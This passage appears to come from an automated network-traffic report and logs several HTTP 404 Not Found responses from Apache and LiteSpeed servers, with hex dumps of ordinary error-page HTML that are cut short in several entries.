Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 25 Nov 2024 08:44:55 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 25 Nov 2024 08:44:58 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 25 Nov 2024 08:45:22 GMTContent-Type: text/htmlContent-Length: 19268Connection: closeServer: ApacheLast-Modified: Tue, 25 Jan 2022 07:25:35 GMTAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 59 61 6b 75 48 61 6e 4a 50 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 e3 82 b7 e3 83 83 e3 82 af 2c 20 22 48 69 72 61 67 69 6e 6f 20 53 61 6e 73 22 2c 20 22 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 20 50 72 6f 4e 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 20 56 65 72 64 61 6e 61 2c 20 4d 65 69 72 79 6f 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 30 33 32 33 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 37 45 46 30 3b 0a 20 20 20 20 20 20 7d 0a 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 25 Nov 2024 08:45:24 GMTContent-Type: text/htmlContent-Length: 19268Connection: closeServer: ApacheLast-Modified: Tue, 25 Jan 2022 07:25:35 GMTAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 59 61 6b 75 48 61 6e 4a 50 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 e3 82 b7 e3 83 83 e3 82 af 2c 20 22 48 69 72 61 67 69 6e 6f 20 53 61 6e 73 22 2c 20 22 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 20 50 72 6f 4e 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 20 56 65 72 64 61 6e 61 2c 20 4d 65 69 72 79 6f 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 30 33 32 33 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 37 45 46 30 3b 0a 20 20 20 20 20 20 7d 0a 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 25 Nov 2024 08:45:30 GMTContent-Type: text/htmlContent-Length: 19268Connection: closeServer: ApacheLast-Modified: Tue, 25 Jan 2022 07:25:35 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 59 61 6b 75 48 61 6e 4a 50 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 e3 82 b7 e3 83 83 e3 82 af 2c 20 22 48 69 72 61 67 69 6e 6f 20 53 61 6e 73 22 2c 20 22 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 20 50 72 6f 4e 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 20 56 65 72 64 61 6e 61 2c 20 4d 65 69 72 79 6f 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 30 33 32 33 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 37 45 46 30 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 2e 6c 6f 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Mon, 25 Nov 2024 08:45:53 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Mon, 25 Nov 2024 08:45:55 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Mon, 25 Nov 2024 08:45:58 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 